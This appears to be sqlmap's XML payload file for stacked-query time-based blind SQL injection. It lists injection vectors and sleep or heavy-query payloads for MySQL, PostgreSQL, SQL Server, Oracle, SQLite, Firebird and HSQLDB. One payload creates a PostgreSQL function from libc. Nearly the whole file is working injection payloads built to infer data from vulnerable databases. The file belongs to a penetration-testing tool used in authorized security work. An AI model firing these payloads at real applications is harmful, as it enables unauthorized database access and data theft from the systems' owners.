sqlmap/xml/payloads/04_stacked_queries.xml

<?xml version="1.0" encoding="UTF-8"?>

<root>
    <!-- Stacked queries tests -->
    <test>
        <title>MySQL &gt; 5.0.11 stacked queries (SELECT)</title>
        <stype>4</stype>
        <level>2</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
        <request>
            <payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt; 5.0.11 stacked queries (SELECT - comment)</title>
        <stype>4</stype>
        <level>4</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
        <request>
            <payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
            <comment>#</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &gt; 5.0.11 stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
        <request>
            <payload>;SELECT SLEEP([SLEEPTIME])</payload>
            <comment>-- </comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt; 5.0.11</dbms_version>
        </details>
    </test>

    <test>
        <title>MySQL &lt; 5.0.12 stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])</vector>
        <request>
            <payload>;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))</payload>
            <comment>-- </comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>MySQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &gt; 8.1 stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>;SELECT PG_SLEEP([SLEEPTIME])</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&gt; 8.1</dbms_version>
        </details>
    </test>

    <test>
        <title>PostgreSQL stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>2</level>
        <risk>2</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>

    <test>
        <title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
        <stype>4</stype>
        <level>4</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME])</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
            <dbms_version>&lt; 8.2</dbms_version>
            <os>Linux</os>
        </details>
    </test>

    <test>
        <title>Microsoft SQL Server/Sybase stacked queries</title>
        <stype>4</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
        <request>
            <payload>;WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Microsoft SQL Server</dbms>
            <dbms>Sybase</dbms>
            <os>Windows</os>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL</vector>
        <request>
            <payload>;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>2</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL</vector>
        <request>
            <payload>;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (DBMS_LOCK.SLEEP)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END</vector>
        <request>
            <payload>;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>Oracle stacked queries (USER_LOCK.SLEEP)</title>
        <stype>4</stype>
        <level>5</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END</vector>
        <request>
            <payload>;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>Oracle</dbms>
        </details>
    </test>

    <test>
        <title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)</vector>
        <request>
            <payload>;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>SQLite</dbms>
            <dbms_version>&gt; 2.0</dbms_version>
        </details>
    </test>

    <test>
        <title>Firebird stacked queries (heavy query)</title>
        <stype>4</stype>
        <level>3</level>
        <risk>2</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE</vector>
        <request>
            <payload>;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[DELAYED]</time>
        </response>
        <details>
            <dbms>Firebird</dbms>
            <dbms_version>&gt;= 2.0</dbms_version>
        </details>
    </test>
    
    <test>
        <title>HSQLDB &gt;= 1.7.2 stacked queries</title>
        <stype>4</stype>
        <level>3</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END</vector>
        <request>
            <payload>;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>HSQLDB</dbms>
            <dbms_version>&gt;= 1.7.2</dbms_version>
        </details>
    </test>
    
    <test>
        <title>HSQLDB &gt;= 2.0 stacked queries</title>
        <stype>4</stype>
        <level>4</level>
        <risk>0</risk>
        <clause>0</clause>
        <where>1</where>
        <vector>;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END</vector>
        <request>
            <payload>;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)</payload>
            <comment>--</comment>
        </request>
        <response>
            <time>[SLEEPTIME]</time>
        </response>
        <details>
            <dbms>HSQLDB</dbms>
            <dbms_version>&gt;= 2.0</dbms_version>
        </details>
    </test>
    <!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
    <!-- End of stacked queries tests -->
</root>